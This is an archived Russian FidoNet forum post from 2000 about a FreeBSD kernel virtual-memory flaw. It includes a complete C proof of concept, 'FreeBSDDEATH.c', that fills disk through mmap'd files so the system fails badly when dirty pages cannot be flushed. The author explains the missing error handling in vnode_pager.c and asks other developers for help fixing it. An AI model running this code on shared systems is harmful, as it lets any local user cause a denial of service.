|
ru.unix.bsd- RU.UNIX.BSD ------------------------------------------------------------------ From : Oleg Derevenetz 2:5025/3.4 31 May 2000 20:04:12 To : john gladkih Subject : mmap -------------------------------------------------------------------------------- At 31 May 00 16:51:56, john gladkih wrote to Aleksey Fedorov: AF>> В данном примере нет ничего криминального. Система от него не зависнет. jg> данный пример демонстрирует отсутствие RLIMIT_VMEM в jg> fbsd и дает возможность любому пользователю устроить jg> DoS заполнением свопа и диким пейджингом. :/ Это все ерунда по сравнению с другим примером : >===== Start cut [FreeBSDDEATH.c] =====< #include <sys/types.h> #include <sys/mman.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #include <errno.h> #define COUNT 1024*1024 #define SIZE 10*1024*1024 int main () { int i,j,fd; char *fptr, fname [16]; for (i=0;i<COUNT;i++) { sprintf (fname, "%d", i); printf ("DEBUG: fname: %s\n", fname); fflush (stdout); fd=open (fname, O_RDWR|O_CREAT, 644); lseek (fd, SIZE, SEEK_SET); write (fd, "-", 1); printf ("DEBUG: write\n"); fflush (stdout); if ((fptr=mmap (NULL, SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0))==MAP_FAILED) { printf ("mmap() failed !\n"); fflush (stdout); return 0; } printf ("DEBUG: mmap, errno=%d\n", errno); fflush (stdout); for (j=0;j<SIZE;j++) fptr[j]='o'; printf ("DEBUG: fill\n"); fflush (stdout); } return 0; } >===== End cut [FreeBSDDEATH.c] =====< Дело в том, что в vnode_pager.c не предусмотрена никакая обработка ошибок при сбросе грязных mmap'ленных страниц файла на диск, если на диске недостаточно места для такого сброса (да и вообще при любой ошибке I/O), и это приводит к очень плохим результатам. Где-то полгода назад я переписывался с людьми из freebsd.hackers, они меня по большому счету просто послали. VM сделана достаточно криво, поэтому мне придумать реакцию на такую проблему пока не удалось. Желательно было бы прибить процесс, но извлечь информацию о том, какому процессу принадлежит страница, при сбросе которой произошла ошибка, весьма затруднительно. Вот сижу сейчас, ломаю голову, что делать... Кстати, а здесь никто не занимается ядерным VM ? --- QDed beta v1.3 under FreeBSD 3.4-RELEASE * Origin: Взялся за гуж - полезай в кузов... (2:5025/3.4) Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
Архивное /ru.unix.bsd/224839353ccd.html, оценка из 5, голосов 10
|